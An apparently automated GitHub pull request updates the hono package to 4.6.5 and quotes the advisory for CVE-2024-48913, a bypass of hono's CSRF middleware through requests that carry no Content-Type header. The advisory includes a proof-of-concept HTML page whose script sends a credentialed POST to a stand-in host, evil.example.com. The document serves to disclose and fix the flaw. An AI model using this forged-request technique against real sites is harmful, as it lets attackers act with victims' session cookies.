Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update dependency hono to v4.6.5 [security] - autoclosed #18

Closed
wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Oct 15, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
hono (source) 4.6.4 -> 4.6.5 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-48913

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.


Release Notes

honojs/hono (hono)

v4.6.5

Compare Source

Security fix for CSRF Protection Middleware

This release includes a security fix for CSRF Protection Middleware. If you are using CSRF Protection Middleware, please upgrade this hono package immediately.

Before this release, a request without a Content-Type header can bypass the protection. This fix does not allow it. See: GHSA-2234-fmw7-43wr

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.4...v4.6.5


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

cloudflare-workers-and-pages bot commented Oct 15, 2024

Deploying vike-cloudflare-hattip-demo with  Cloudflare Pages  Cloudflare Pages

Latest commit: 02314c7
Status: ✅  Deploy successful!
Preview URL: https://994621d6.vike-clouflare-hattip-demo.pages.dev
Branch Preview URL: https://renovate-npm-hono-vulnerabil.vike-clouflare-hattip-demo.pages.dev

View logs

Copy link

Deploying vike-cloudflare-hono-demo with  Cloudflare Pages  Cloudflare Pages

Latest commit: 02314c7
Status: ✅  Deploy successful!
Preview URL: https://177abadb.vike-clouflare-hono-demo.pages.dev
Branch Preview URL: https://renovate-npm-hono-vulnerabil.vike-clouflare-hono-demo.pages.dev

View logs

Copy link

Deploying vike-cloudflare-vike-demo with  Cloudflare Pages  Cloudflare Pages

Latest commit: 02314c7
Status: ✅  Deploy successful!
Preview URL: https://e5f9c050.vike-clouflare-vike-demo.pages.dev
Branch Preview URL: https://renovate-npm-hono-vulnerabil.vike-clouflare-vike-demo.pages.dev

View logs

@renovate renovate bot changed the title chore(deps): update dependency hono to v4.6.5 [security] chore(deps): update dependency hono to v4.6.5 [security] - autoclosed Oct 16, 2024
@renovate renovate bot closed this Oct 16, 2024
@renovate renovate bot deleted the renovate/npm-hono-vulnerability branch October 16, 2024 08:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant